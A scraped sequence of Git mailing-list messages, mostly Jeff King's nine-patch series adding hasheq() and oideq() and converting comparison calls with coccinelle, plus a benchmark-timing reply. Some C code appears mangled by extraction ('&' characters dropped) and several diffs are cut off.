parallelize internally) instead of one perfile. Presumably that would
also avoid looking at the headers repeatedly (which would be both faster
and produce better output).
I'm not planning to pursue that immediately, so just food for thought at
this point.
-Peff
Re: [ANNOUNCE] Git v2.19.0-rc0
On Fri, Aug 24, 2018 at 12:45:10PM -0400, Derrick Stolee wrote: > Here are the numbers for Linux: > > | | v2.18.0 | v2.19.0-rc0 | HEAD | > |--|--|-|| > | | 86.5 | 70.739 | 57.266 | > | | 60.582 | 101.928 | 56.641 | > | | 58.964 | 60.139 | 60.258 | > | | 59.47 | 61.141 | 58.213 | > | | 62.554 | 60.73 | 84.54 | > | | 59.139 | 85.424 | 57.745 | > | | 58.487 | 59.31 | 59.979 | > | | 58.653 | 69.845 | 60.181 | > | | 58.085 | 102.777 | 61.455 | > | | 58.304 | 60.459 | 62.551 | > | Max | 86.5 | 102.777 | 84.54 | > | Min | 58.085 | 59.31 | 56.641 | > | Avg* | 59.51913 | 71.30063 | 59.706 | > | Med | 59.0515 | 65.493 | 60.08 | Thanks. The median ones are the most interesting, I think (and show a very satisfying recovery from my patch). I'm surprised at the variance, especially in your v2.19 runs. It makes me distrust the mean (and implies to me we could do better by throwing away outliers based on value, not just the single high/low; or just using the median also solves that). The variance in the v2.18 column is what I'd expect based on past experience (slow cold cache to start, then a few percent change run-to-run). -Peff
Re: [PATCH 9/9] show_dirstat: simplify same-content check
On Sat, Aug 25, 2018 at 04:20:33AM -0400, Eric Sunshine wrote: > On Sat, Aug 25, 2018 at 4:17 AM Jeff King wrote: > > We two nested conditionals to store a content_changed > > grammo... Heh. Edited in my MUA while proof-reading, of course. ;) It should be "We use two...". -Peff
Re: [PATCH 9/9] show_dirstat: simplify same-content check
On Sat, Aug 25, 2018 at 4:17 AM Jeff King wrote: > We two nested conditionals to store a content_changed grammo... > variable, but only bother to look at the result once, > directly after we set it. We can drop the variable entirely > and just use a single "if". > > This needless complexity is the result of 2ff3a80334 (Teach > --dirstat not to completely ignore rearranged lines within a > file, 2011-04-11). Before that, we held onto the > content_changed variable much longer. > > While we're touching the condition, we can swap out oidcmp() > for !oideq(). Our coccinelle patches didn't previously find > this case because of the intermediate variable, but now it's > a simple boolean in a conditional. > > Signed-off-by: Jeff King
[PATCH 9/9] show_dirstat: simplify same-content check
We two nested conditionals to store a content_changed
variable, but only bother to look at the result once,
directly after we set it. We can drop the variable entirely
and just use a single "if".
This needless complexity is the result of 2ff3a80334 (Teach
--dirstat not to completely ignore rearranged lines within a
file, 2011-04-11). Before that, we held onto the
content_changed variable much longer.
While we're touching the condition, we can swap out oidcmp()
for !oideq(). Our coccinelle patches didn't previously find
this case because of the intermediate variable, but now it's
a simple boolean in a conditional.
Signed-off-by: Jeff King
---
diff.c | 11 +++
1 file changed, 3 insertions(+), 8 deletions(-)
diff --git a/diff.c b/diff.c
index 5d3219b600..605ba4b6b8 100644
--- a/diff.c
+++ b/diff.c
@@ -2933,16 +2933,11 @@ static void show_dirstat(struct diff_options *options)
struct diff_filepair *p = q->queue[i];
const char *name;
unsigned long copied, added, damage;
- int content_changed;
name = p->two->path ? p->two->path : p->one->path;
- if (p->one->oid_valid && p->two->oid_valid)
- content_changed = oidcmp(>one->oid, >two->oid);
- else
- content_changed = 1;
-
- if (!content_changed) {
+ if (p->one->oid_valid && p->two->oid_valid &&
+ oideq(>one->oid, >two->oid)) {
/*
* The SHA1 has not changed, so pre-/post-content is
* identical. We can therefore skip looking at the
@@ -2989,7 +2984,7 @@ static void show_dirstat(struct diff_options *options)
* made to the preimage.
* If the resulting damage is zero, we know that
* diffcore_count_changes() considers the two entries to
-* be identical, but since content_changed is true, we
+* be identical, but since the oid changed, we
* know that there must have been _some_ kind of change,
* so we force all entries to have damage > 0.
*/
--
2.19.0.rc0.412.g7005db4e88
[PATCH 8/9] read-cache: use oideq() in ce_compare functions
These functions return the full oidcmp() value, but the
callers really only care whether it is non-zero. We can use
the more strict !oideq(), which a compiler may be able to
optimize further.
This does change the meaning of the return value subtly, but
it's unlikely that anybody would try to use them for
ordering. They're static-local in this file, and they
already return other error values that would confuse an
ordering (e.g., open() failure gives -1).
Signed-off-by: Jeff King
---
read-cache.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/read-cache.c b/read-cache.c
index 421a7f4953..eb7cea6272 100644
--- a/read-cache.c
+++ b/read-cache.c
@@ -213,7 +213,7 @@ static int ce_compare_data(const struct cache_entry *ce,
struct stat *st)
if (fd >= 0) {
struct object_id oid;
if (!index_fd(, fd, st, OBJ_BLOB, ce->name, 0))
- match = oidcmp(, >oid);
+ match = !oideq(, >oid);
/* index_fd() closed the file descriptor already */
}
return match;
@@ -254,7 +254,7 @@ static int ce_compare_gitlink(const struct cache_entry *ce)
*/
if (resolve_gitlink_ref(ce->name, "HEAD", ) < 0)
return 0;
- return oidcmp(, >oid);
+ return !oideq(, >oid);
}
static int ce_modified_check_fs(const struct cache_entry *ce, struct stat *st)
--
2.19.0.rc0.412.g7005db4e88
[PATCH 7/9] convert hashmap comparison functions to oideq()
The comparison functions used for hashmaps don't care about
strict ordering; they only want to compare entries for
equality. Let's use the oideq() function instead, which can
potentially be better optimized. Note that unlike the
previous patches mass-converting calls like "!oidcmp()",
this patch could actually provide an improvement even with
the current implementation. Those comparison functions are
passed around as function pointers, so at compile-time the
compiler cannot realize that the caller (which is in another
file completely) will treat the return value as a boolean.
Note that this does change the return values in quite a
subtle way (it's still an int, but now the sign bit is
irrelevant for ordering). Because of their funny
hashmap-specific signature, it's unlikely that any of these
static functions would be reused for more generic ordering.
But to be double-sure, let's stop using "cmp" in their
names.
Calling them "eq" doesn't quite work either, because the
hashmap convention is actually _inverted_. "0" means "same",
and non-zero means "different". So I've called them "neq" by
convention here.
Signed-off-by: Jeff King
---
I actually think the hashmap inversion is vaguely insane
and I'd be happy to see it flipped. But that's definitely
outside the scope of this patch. It would take some care to
do so in a way that the compiler would catch topics in
flight, since the signature would not change (and nor would
changing the name "cmpfn" in the hash struct help, because
it is usually filled in by passing to hashmap_init()).
builtin/describe.c | 6 +++---
oidmap.c | 12 ++--
patch-ids.c| 8
3 files changed, 13 insertions(+), 13 deletions(-)
diff --git a/builtin/describe.c b/builtin/describe.c
index 1e7c75ba82..22c0541da5 100644
--- a/builtin/describe.c
+++ b/builtin/describe.c
@@ -62,7 +62,7 @@ static const char *prio_names[] = {
N_("head"), N_("lightweight"), N_("annotated"),
};
-static int commit_name_cmp(const void *unused_cmp_data,
+static int commit_name_neq(const void *unused_cmp_data,
const void *entry,
const void *entry_or_key,
const void *peeled)
@@ -70,7 +70,7 @@ static int commit_name_cmp(const void *unused_cmp_data,
const struct commit_name *cn1 = entry;
const struct commit_name *cn2 = entry_or_key;
- return oidcmp(>peeled, peeled ? peeled : >peeled);
+ return !oideq(>peeled, peeled ? peeled : >peeled);
}
static inline struct commit_name *find_commit_name(const struct object_id
*peeled)
@@ -596,7 +596,7 @@ int cmd_describe(int argc, const char **argv, const char
*prefix)
return cmd_name_rev(args.argc, args.argv, prefix);
}
- hashmap_init(, commit_name_cmp, NULL, 0);
+ hashmap_init(, commit_name_neq, NULL, 0);
for_each_rawref(get_name, NULL);
if (!hashmap_get_size() && !always)
die(_("No names found, cannot describe anything."));
diff --git a/oidmap.c b/oidmap.c
index d9fb19ba6a..b0841a0f58 100644
--- a/oidmap.c
+++ b/oidmap.c
@@ -1,14 +1,14 @@
#include "cache.h"
#include "oidmap.h"
-static int cmpfn(const void *hashmap_cmp_fn_data,
-const void *entry, const void *entry_or_key,
-const void *keydata)
+static int oidmap_neq(const void *hashmap_cmp_fn_data,
+ const void *entry, const void *entry_or_key,
+ const void *keydata)
{
const struct oidmap_entry *entry_ = entry;
if (keydata)
- return oidcmp(_->oid, (const struct object_id *) keydata);
- return oidcmp(_->oid,
+ return !oideq(_->oid, (const struct object_id *) keydata);
+ return !oideq(_->oid,
&((const struct oidmap_entry *) entry_or_key)->oid);
}
@@ -21,7 +21,7 @@ static int hash(const struct object_id *oid)
void oidmap_init(struct oidmap *map, size_t initial_size)
{
- hashmap_init(>map, cmpfn, NULL, initial_size);
+ hashmap_init(>map, oidmap_neq, NULL, initial_size);
}
void oidmap_free(struct oidmap *map, int free_entries)
diff --git a/patch-ids.c b/patch-ids.c
index 8f7c25d5db..960ea24054 100644
--- a/patch-ids.c
+++ b/patch-ids.c
@@ -28,14 +28,14 @@ int commit_patch_id(struct commit *commit, struct
diff_options *options,
/*
* When we cannot load the full patch-id for both commits for whatever
* reason, the function returns -1 (i.e. return error(...)). Despite
- * the "cmp" in the name of this function, the caller only cares about
+ * the "neq" in the name of this function, the caller only cares about
* the return value being zero (a and b are equivalent) or non-zero (a
* and b are different), and returning non-zero would keep both in the
* result, even if they actually were equivalent, in order to err on
* the side of safety. The actual value being negative does not have
* any significance; only that it is
[PATCH 6/9] convert "hashcmp() != 0" to "!hasheq()"
This rounds out the previous three patches, covering the
inequality logic for the "hash" variant of the functions.
As with the previous three, the accompanying code changes
are the mechanical result of applying the coccinelle patch;
see those patches for more discussion.
Signed-off-by: Jeff King
---
Obviously all of these patches are basically "see the last one". I can
squash them together if people prefer, but they are so unwieldy I
thought it best to break it down.
builtin/index-pack.c | 4 ++--
builtin/show-branch.c | 2 +-
builtin/unpack-objects.c | 2 +-
commit-graph.c | 2 +-
contrib/coccinelle/object_id.cocci | 9 +
http-walker.c | 2 +-
http.c | 2 +-
pack-check.c | 6 +++---
pack-write.c | 2 +-
packfile.c | 2 +-
read-cache.c | 4 ++--
sha1-file.c| 2 +-
12 files changed, 24 insertions(+), 15 deletions(-)
diff --git a/builtin/index-pack.c b/builtin/index-pack.c
index edcb0a3dca..2004e25da2 100644
--- a/builtin/index-pack.c
+++ b/builtin/index-pack.c
@@ -1166,7 +1166,7 @@ static void parse_pack_objects(unsigned char *hash)
/* Check pack integrity */
flush();
the_hash_algo->final_fn(hash, _ctx);
- if (hashcmp(fill(the_hash_algo->rawsz), hash))
+ if (!hasheq(fill(the_hash_algo->rawsz), hash))
die(_("pack is corrupted (SHA1 mismatch)"));
use(the_hash_algo->rawsz);
@@ -1280,7 +1280,7 @@ static void conclude_pack(int fix_thin_pack, const char
*curr_pack, unsigned cha
fixup_pack_header_footer(output_fd, pack_hash,
curr_pack, nr_objects,
read_hash,
consumed_bytes-the_hash_algo->rawsz);
- if (hashcmp(read_hash, tail_hash) != 0)
+ if (!hasheq(read_hash, tail_hash))
die(_("Unexpected tail checksum for %s "
"(disk corruption?)"), curr_pack);
}
diff --git a/builtin/show-branch.c b/builtin/show-branch.c
index 5f9432861b..65f4a4c83c 100644
--- a/builtin/show-branch.c
+++ b/builtin/show-branch.c
@@ -485,7 +485,7 @@ static void snarf_refs(int head, int remotes)
static int rev_is_head(const char *head, const char *name,
unsigned char *head_sha1, unsigned char *sha1)
{
- if (!head || (head_sha1 && sha1 && hashcmp(head_sha1, sha1)))
+ if (!head || (head_sha1 && sha1 && !hasheq(head_sha1, sha1)))
return 0;
skip_prefix(head, "refs/heads/", );
if (!skip_prefix(name, "refs/heads/", ))
diff --git a/builtin/unpack-objects.c b/builtin/unpack-objects.c
index ad438f5b41..80478808b3 100644
--- a/builtin/unpack-objects.c
+++ b/builtin/unpack-objects.c
@@ -579,7 +579,7 @@ int cmd_unpack_objects(int argc, const char **argv, const
char *prefix)
if (fsck_finish(_options))
die(_("fsck error in pack objects"));
}
- if (hashcmp(fill(the_hash_algo->rawsz), oid.hash))
+ if (!hasheq(fill(the_hash_algo->rawsz), oid.hash))
die("final sha1 did not match");
use(the_hash_algo->rawsz);
diff --git a/commit-graph.c b/commit-graph.c
index 7aed9f5371..64ce79420d 100644
--- a/commit-graph.c
+++ b/commit-graph.c
@@ -900,7 +900,7 @@ int verify_commit_graph(struct repository *r, struct
commit_graph *g)
f = hashfd(devnull, NULL);
hashwrite(f, g->data, g->data_len - g->hash_len);
finalize_hashfile(f, checksum.hash, CSUM_CLOSE);
- if (hashcmp(checksum.hash, g->data + g->data_len - g->hash_len)) {
+ if (!hasheq(checksum.hash, g->data + g->data_len - g->hash_len)) {
graph_report(_("the commit-graph file has incorrect checksum
and is likely corrupt"));
verify_commit_graph_error = VERIFY_COMMIT_GRAPH_ERROR_HASH;
}
diff --git a/contrib/coccinelle/object_id.cocci
b/contrib/coccinelle/object_id.cocci
index 4e1f1a7431..d8bdb48712 100644
--- a/contrib/coccinelle/object_id.cocci
+++ b/contrib/coccinelle/object_id.cocci
@@ -129,3 +129,12 @@ expression E1, E2;
@@
- oidcmp(E1, E2) != 0
+ !oideq(E1, E2)
+
+@@
+identifier f != hasheq;
+expression E1, E2;
+@@
+ f(...) {<...
+- hashcmp(E1, E2) != 0
++ !hasheq(E1, E2)
+ ...>}
diff --git a/http-walker.c b/http-walker.c
index 3a8edc7f2f..b3334bf657 100644
--- a/http-walker.c
+++ b/http-walker.c
@@ -543,7 +543,7 @@ static int fetch_object(struct walker *walker, unsigned
char *sha1)
} else if (req->zret != Z_STREAM_END) {
walker->corrupt_object_found++;
ret = error("File %s (%s) corrupt", hex, req->url);
- } else if (hashcmp(obj_req->oid.hash, req->real_sha1)) {
+ } else if (!hasheq(obj_req->oid.hash, req->real_sha1)) {
ret = error("File %s has
[PATCH 5/9] convert "oidcmp() != 0" to "!oideq()"
This is the flip side of the previous two patches: checking
for a non-zero oidcmp() can be more strictly expressed as
inequality. Like those patches, we write "!= 0" in the
coccinelle transformation, which covers by isomorphism the
more common:
if (oidcmp(E1, E2))
As with the previous two patches, this patch can be achieved
almost entirely by running "make coccicheck"; the only
differences are manual line-wrap fixes to match the original
code.
There is one thing to note for anybody replicating this,
though: coccinelle 1.0.4 seems to miss the case in
builtin/tag.c, even though it's basically the same as all
the others. Running with 1.0.7 does catch this, so
presumably it's just a coccinelle bug that was fixed in the
interim.
Signed-off-by: Jeff King
---
bisect.c | 2 +-
blame.c| 4 ++--
builtin/fmt-merge-msg.c| 4 ++--
builtin/merge.c| 2 +-
builtin/pull.c | 2 +-
builtin/rm.c | 2 +-
builtin/show-branch.c | 4 ++--
builtin/tag.c | 2 +-
bundle.c | 2 +-
commit-graph.c | 6 +++---
commit.c | 2 +-
contrib/coccinelle/object_id.cocci | 6 ++
diff-lib.c | 2 +-
diff.c | 6 +++---
diffcore-rename.c | 2 +-
dir.c | 6 +++---
fast-import.c | 4 ++--
fetch-pack.c | 2 +-
match-trees.c | 2 +-
notes.c| 2 +-
read-cache.c | 2 +-
refs.c | 8
refs/files-backend.c | 2 +-
refs/packed-backend.c | 2 +-
refs/ref-cache.c | 2 +-
remote.c | 2 +-
sequencer.c| 8
sha1-file.c| 6 +++---
submodule-config.c | 4 ++--
t/helper/test-dump-cache-tree.c| 2 +-
tree-diff.c| 2 +-
31 files changed, 55 insertions(+), 49 deletions(-)
diff --git a/bisect.c b/bisect.c
index 41c56a665e..7c1d8f1a6d 100644
--- a/bisect.c
+++ b/bisect.c
@@ -595,7 +595,7 @@ static struct commit_list *skip_away(struct commit_list
*list, int count)
for (i = 0; cur; cur = cur->next, i++) {
if (i == index) {
- if (oidcmp(>item->object.oid, current_bad_oid))
+ if (!oideq(>item->object.oid, current_bad_oid))
return cur;
if (previous)
return previous;
diff --git a/blame.c b/blame.c
index 10d72e36dd..538d0ab1aa 100644
--- a/blame.c
+++ b/blame.c
@@ -1834,7 +1834,7 @@ void setup_scoreboard(struct blame_scoreboard *sb,
sb->revs->children.name = "children";
while (c->parents &&
- oidcmp(>object.oid, >final->object.oid)) {
+ !oideq(>object.oid, >final->object.oid)) {
struct commit_list *l = xcalloc(1, sizeof(*l));
l->item = c;
@@ -1844,7 +1844,7 @@ void setup_scoreboard(struct blame_scoreboard *sb,
c = c->parents->item;
}
- if (oidcmp(>object.oid, >final->object.oid))
+ if (!oideq(>object.oid, >final->object.oid))
die(_("--reverse --first-parent together require range
along first-parent chain"));
}
diff --git a/builtin/fmt-merge-msg.c b/builtin/fmt-merge-msg.c
index 4c82c234cb..268f0c20ca 100644
--- a/builtin/fmt-merge-msg.c
+++ b/builtin/fmt-merge-msg.c
@@ -78,9 +78,9 @@ static struct merge_parent *find_merge_parent(struct
merge_parents *table,
{
int i;
for (i = 0; i < table->nr; i++) {
- if (given && oidcmp(>item[i].given, given))
+ if (given && !oideq(>item[i].given, given))
continue;
- if (commit && oidcmp(>item[i].commit, commit))
+ if (commit && !oideq(>item[i].commit, commit))
continue;
return >item[i];
}
diff --git a/builtin/merge.c b/builtin/merge.c
index 57abff999b..8d85d31a61 100644
--- a/builtin/merge.c
+++ b/builtin/merge.c
@@ -1521,7 +1521,7 @@ int cmd_merge(int argc, const char **argv, const char
*prefix)
* HEAD^^" would be missed.
*/
common_one = get_merge_bases(head_commit, j->item);
- if (oidcmp(_one->item->object.oid,
>item->object.oid)) {
+ if (!oideq(_one->item->object.oid,
>item->object.oid)) {
up_to_date = 0;
break;
}
diff --git a/builtin/pull.c
[PATCH 4/9] convert "hashcmp() == 0" to hasheq()
This is the partner patch to the previous one, but covering
the "hash" variants instead of "oid". Note that our
coccinelle rule is slightly more complex to avoid triggering
the call in hasheq().
I didn't bother to add a new rule to convert:
- hasheq(E1->hash, E2->hash)
+ oideq(E1, E2)
Since these are new functions, there won't be any such
existing callers. And since most of the code is already
using oideq, we're not likely to introduce new ones.
We might still see "!hashcmp(E1->hash, E2->hash)" from topics
in flight. But because our new rule comes after the existing
ones, that should first get converted to "!oidcmp(E1, E2)"
and then to "oideq(E1, E2)".
Signed-off-by: Jeff King
---
builtin/fetch.c| 2 +-
cache.h| 8
contrib/coccinelle/object_id.cocci | 9 +
http-walker.c | 2 +-
notes.c| 2 +-
object.c | 2 +-
pack-objects.c | 2 +-
packfile.c | 10 +-
8 files changed, 23 insertions(+), 14 deletions(-)
diff --git a/builtin/fetch.c b/builtin/fetch.c
index 32b1d5d383..84e0e8080f 100644
--- a/builtin/fetch.c
+++ b/builtin/fetch.c
@@ -238,7 +238,7 @@ static int will_fetch(struct ref **head, const unsigned
char *sha1)
{
struct ref *rm = *head;
while (rm) {
- if (!hashcmp(rm->old_oid.hash, sha1))
+ if (hasheq(rm->old_oid.hash, sha1))
return 1;
rm = rm->next;
}
diff --git a/cache.h b/cache.h
index d090f71706..d97db26bb6 100644
--- a/cache.h
+++ b/cache.h
@@ -1053,12 +1053,12 @@ static inline int oideq(const struct object_id *oid1,
const struct object_id *oi
static inline int is_null_sha1(const unsigned char *sha1)
{
- return !hashcmp(sha1, null_sha1);
+ return hasheq(sha1, null_sha1);
}
static inline int is_null_oid(const struct object_id *oid)
{
- return !hashcmp(oid->hash, null_sha1);
+ return hasheq(oid->hash, null_sha1);
}
static inline void hashcpy(unsigned char *sha_dst, const unsigned char
*sha_src)
@@ -1095,7 +1095,7 @@ static inline void oidread(struct object_id *oid, const
unsigned char *hash)
static inline int is_empty_blob_sha1(const unsigned char *sha1)
{
- return !hashcmp(sha1, the_hash_algo->empty_blob->hash);
+ return hasheq(sha1, the_hash_algo->empty_blob->hash);
}
static inline int is_empty_blob_oid(const struct object_id *oid)
@@ -1105,7 +1105,7 @@ static inline int is_empty_blob_oid(const struct
object_id *oid)
static inline int is_empty_tree_sha1(const unsigned char *sha1)
{
- return !hashcmp(sha1, the_hash_algo->empty_tree->hash);
+ return hasheq(sha1, the_hash_algo->empty_tree->hash);
}
static inline int is_empty_tree_oid(const struct object_id *oid)
diff --git a/contrib/coccinelle/object_id.cocci
b/contrib/coccinelle/object_id.cocci
index 548c02336d..d90ba8a040 100644
--- a/contrib/coccinelle/object_id.cocci
+++ b/contrib/coccinelle/object_id.cocci
@@ -114,3 +114,12 @@ expression E1, E2;
@@
- oidcmp(E1, E2) == 0
+ oideq(E1, E2)
+
+@@
+identifier f != hasheq;
+expression E1, E2;
+@@
+ f(...) {<...
+- hashcmp(E1, E2) == 0
++ hasheq(E1, E2)
+ ...>}
diff --git a/http-walker.c b/http-walker.c
index 7cdfb2f24c..3a8edc7f2f 100644
--- a/http-walker.c
+++ b/http-walker.c
@@ -483,7 +483,7 @@ static int fetch_object(struct walker *walker, unsigned
char *sha1)
list_for_each(pos, head) {
obj_req = list_entry(pos, struct object_request, node);
- if (!hashcmp(obj_req->oid.hash, sha1))
+ if (hasheq(obj_req->oid.hash, sha1))
break;
}
if (obj_req == NULL)
diff --git a/notes.c b/notes.c
index b3386d6c36..33d16c1ec3 100644
--- a/notes.c
+++ b/notes.c
@@ -147,7 +147,7 @@ static struct leaf_node *note_tree_find(struct notes_tree
*t,
void **p = note_tree_search(t, , , key_sha1);
if (GET_PTR_TYPE(*p) == PTR_TYPE_NOTE) {
struct leaf_node *l = (struct leaf_node *) CLR_PTR_TYPE(*p);
- if (!hashcmp(key_sha1, l->key_oid.hash))
+ if (hasheq(key_sha1, l->key_oid.hash))
return l;
}
return NULL;
diff --git a/object.c b/object.c
index 51c4594515..e54160550c 100644
--- a/object.c
+++ b/object.c
@@ -95,7 +95,7 @@ struct object *lookup_object(struct repository *r, const
unsigned char *sha1)
first = i = hash_obj(sha1, r->parsed_objects->obj_hash_size);
while ((obj = r->parsed_objects->obj_hash[i]) != NULL) {
- if (!hashcmp(sha1, obj->oid.hash))
+ if (hasheq(sha1, obj->oid.hash))
break;
i++;
if (i == r->parsed_objects->obj_hash_size)
diff --git a/pack-objects.c b/pack-objects.c
index 6ef87e5683..2bc7626997 100644
--- a/pack-objects.c
+++
[PATCH 3/9] convert "oidcmp() == 0" to oideq()
Using the more restrictive oideq() should, in the long run,
give the compiler more opportunities to optimize these
callsites. For now, this conversion should be a complete
noop with respect to the generated code.
The result is also perhaps a little more readable, as it
avoids the "zero is equal" idiom. Since it's so prevalent in
C, I think seasoned programmers tend not to even notice it
anymore, but it can sometimes make for awkward double
negations (e.g., we can drop a few !!oidcmp() instances
here).
This patch was generated almost entirely by the included
coccinelle patch. This mechanical conversion should be
completely safe, because we check explicitly for cases where
oidcmp() is compared to 0, which is what oideq() is doing
under the hood. Note that we don't have to catch "!oidcmp()"
separately; coccinelle's standard isomorphisms make sure the
two are treated equivalently.
I say "almost" because I did hand-edit the coccinelle output
to fix up a few style violations (it mostly keeps the
original formatting, but sometimes unwraps long lines).
Signed-off-by: Jeff King
---
bisect.c | 4 ++--
blame.c| 4 ++--
builtin/am.c | 2 +-
builtin/checkout.c | 2 +-
builtin/describe.c | 4 ++--
builtin/diff.c | 2 +-
builtin/difftool.c | 4 ++--
builtin/fast-export.c | 2 +-
builtin/fetch.c| 4 ++--
builtin/fmt-merge-msg.c| 2 +-
builtin/index-pack.c | 4 ++--
builtin/log.c | 6 +++---
builtin/merge-tree.c | 2 +-
builtin/merge.c| 4 ++--
builtin/pack-objects.c | 4 ++--
builtin/pull.c | 2 +-
builtin/receive-pack.c | 4 ++--
builtin/remote.c | 2 +-
builtin/replace.c | 6 +++---
builtin/unpack-objects.c | 2 +-
builtin/update-index.c | 4 ++--
bulk-checkin.c | 2 +-
cache-tree.c | 2 +-
cache.h| 4 ++--
combine-diff.c | 4 ++--
commit-graph.c | 2 +-
connect.c | 2 +-
contrib/coccinelle/object_id.cocci | 6 ++
diff-lib.c | 2 +-
diff.c | 6 +++---
diffcore-break.c | 2 +-
fast-import.c | 6 +++---
http-push.c| 2 +-
log-tree.c | 6 +++---
merge-recursive.c | 4 ++--
notes-merge.c | 24 +++---
notes.c| 4 ++--
pack-write.c | 2 +-
read-cache.c | 2 +-
ref-filter.c | 2 +-
refs/files-backend.c | 4 ++--
remote.c | 6 +++---
revision.c | 2 +-
sequencer.c| 32 +++---
sha1-array.c | 2 +-
sha1-file.c| 4 ++--
sha1-name.c| 2 +-
submodule.c| 2 +-
transport.c| 2 +-
unpack-trees.c | 6 +++---
wt-status.c| 10 +-
xdiff-interface.c | 2 +-
52 files changed, 117 insertions(+), 111 deletions(-)
diff --git a/bisect.c b/bisect.c
index e1275ba79e..41c56a665e 100644
--- a/bisect.c
+++ b/bisect.c
@@ -807,7 +807,7 @@ static void check_merge_bases(int rev_nr, struct commit
**rev, int no_checkout)
for (; result; result = result->next) {
const struct object_id *mb = >item->object.oid;
- if (!oidcmp(mb, current_bad_oid)) {
+ if (oideq(mb, current_bad_oid)) {
handle_bad_merge_base();
} else if (0 <= oid_array_lookup(_revs, mb)) {
continue;
@@ -988,7 +988,7 @@ int bisect_next_all(const char *prefix, int no_checkout)
bisect_rev = >item->object.oid;
- if (!oidcmp(bisect_rev, current_bad_oid)) {
+ if (oideq(bisect_rev, current_bad_oid)) {
exit_if_skipped_commits(tried, current_bad_oid);
printf("%s is the first %s commit\n", oid_to_hex(bisect_rev),
term_bad);
diff --git a/blame.c b/blame.c
index 08c0c6cf73..10d72e36dd 100644
--- a/blame.c
+++ b/blame.c
@@ -1459,14 +1459,14 @@ static void pass_blame(struct blame_scoreboard *sb,
struct blame_origin *origin,
porigin = find(p, origin);
if (!porigin)
continue;
- if (!oidcmp(>blob_oid, >blob_oid)) {
+ if (oideq(>blob_oid, >blob_oid)) {
[PATCH 2/9] introduce hasheq() and oideq()
The main comparison functions we provide for comparing
object ids are hashcmp() and oidcmp(). These are more
flexible than a strict equality check, since they also
express ordering. That makes them them useful for sorting
and binary searching. However, it also makes them
potentially slower than a strict equality check. Consider
this C code, which is traditionally what our hashcmp has
looked like:
#include
int hashcmp(const unsigned char *a, const unsigned char *b)
{
return memcmp(a, b, 20);
}
Compiling with "gcc -O2 -S -fverbose-asm", the generated
assembly shows that we actually call memcmp(). But if we
change this to a strict equality check:
return !memcmp(a, b, 20);
we get a faster inline version:
movq(%rdi), %rax# MEM[(void *)a_4(D)], MEM[(void *)a_4(D)]
movq8(%rdi), %rdx # MEM[(void *)a_4(D)], tmp101
xorq(%rsi), %rax# MEM[(void *)b_5(D)], tmp94
xorq8(%rsi), %rdx # MEM[(void *)b_5(D)], tmp93
orq %rax, %rdx # tmp94, tmp93
jne .L2 #,
movl16(%rsi), %eax # MEM[(void *)b_5(D)], tmp104
cmpl%eax, 16(%rdi) # tmp104, MEM[(void *)a_4(D)]
je .L5 #,
Obviously our hashcmp() doesn't include the "!". But because
it's an inline function, optimizing compilers are able to
see "!hashcmp(a,b)" in calling code and take advantage of
this case. So there has been no value thus far in
introducing a more restricted interface for doing strict
equality checks.
But as Git learns about more values for the_hash_algo, our
hashcmp() will grow more complicated and may even delegate
at runtime to functions optimized specifically for that hash
size. That breaks the inline connection we have, and the
compiler will have to assume that the caller really cares
about the sign and magnitude of the memcmp() result, even
though the vast majority don't.
We can solve that by introducing a hasheq() function (and
matching oideq() wrapper), which callers can use to make
clear that they only care about equality. For now, the
implementation will literally be "!hashcmp()", but it frees
us up later to introduce code optimized specifically for the
equality check.
Signed-off-by: Jeff King
---
cache.h | 10 ++
1 file changed, 10 insertions(+)
diff --git a/cache.h b/cache.h
index 4d014541ab..f6d227fac7 100644
--- a/cache.h
+++ b/cache.h
@@ -1041,6 +1041,16 @@ static inline int oidcmp(const struct object_id *oid1,
const struct object_id *o
return hashcmp(oid1->hash, oid2->hash);
}
+static inline int hasheq(const unsigned char *sha1, const unsigned char *sha2)
+{
+ return !hashcmp(sha1, sha2);
+}
+
+static inline int oideq(const struct object_id *oid1, const struct object_id
*oid2)
+{
+ return hasheq(oid1->hash, oid2->hash);
+}
+
static inline int is_null_sha1(const unsigned char *sha1)
{
return !hashcmp(sha1, null_sha1);
--
2.19.0.rc0.412.g7005db4e88
[PATCH 1/9] coccinelle: use <...> for function exclusion
Sometimes we want to suppress a coccinelle transformation
inside a particular function. For example, in finding
conversions of hashcmp() to oidcmp(), we should not convert
the call in oidcmp() itself, since that would cause infinite
recursion. We write that like this:
@@
identifier f != oidcmp;
expression E1, E2;
@@
f(...) {...
- hashcmp(E1->hash, E2->hash)
+ oidcmp(E1, E2)
...}
to match the interior of any function _except_ oidcmp().
Unfortunately, this doesn't catch all cases (e.g., the one
in sequencer.c that this patch fixes). The problem, as
explained by one of the Coccinelle developers in [1], is:
For transformation, A ... B requires that B occur on every
execution path starting with A, unless that execution path
ends up in error handling code. (eg, if (...) { ...
return; }). Here your A is the start of the function. So
you need a call to hashcmp on every path through the
function, which fails when you add ifs.
[...]
Another issue with A ... B is that by default A and B
should not appear in the matched region. So your original
rule matches only the case where every execution path
contains exactly one call to hashcmp, not more than one.
One way to solve this is to put the pattern inside an
angle-bracket pattern like "<... P ...>", which allows zero
or more matches of P. That works (and is what this patch
does), but it has one drawback: it matches more than we care
about, and Coccinelle uses extra CPU. Here are timings for
"make coccicheck" before and after this patch:
[before]
real 1m27.122s
user 7m34.451s
sys 0m37.330s
[after]
real 2m18.040s
user 10m58.310s
sys 0m41.549s
That's not ideal, but it's more important for this to be
correct than to be fast. And coccicheck is already fairly
slow (and people don't run it for every single patch). So
it's an acceptable tradeoff.
There _is_ a better way to do it, which is to record the
position at which we find hashcmp(), and then check it
against the forbidden function list. Like:
@@
position p : script:python() { p[0].current_element != "oidcmp" };
expression E1,E2;
@@
- hashcmp@p(E1->hash, E2->hash)
+ oidcmp(E1, E2)
This is only a little slower than the current code, and does
the right thing in all cases. Unfortunately, not all builds
of Coccinelle include python support (including the ones in
Debian). Requiring it may mean that fewer people can easily
run the tool, which is worse than it simply being a little
slower.
We may want to revisit this decision in the future if:
- builds with python become more common
- we find more uses for python support that tip the
cost-benefit analysis
But for now this patch sticks with the angle-bracket
solution, and converts all existing cocci patches. This
fixes only one missed case in the current code, though it
makes a much better difference for some new rules I'm adding
(converting "!hashcmp()" to "hasheq()" misses over half the
possible conversions using the old form).
[1] https://public-inbox.org/git/alpine.DEB.2.21.1808240652370.2344@hadrien/
Helped-by: Julia Lawall
Signed-off-by: Jeff King
---
contrib/coccinelle/commit.cocci| 4 ++--
contrib/coccinelle/object_id.cocci | 20 ++--
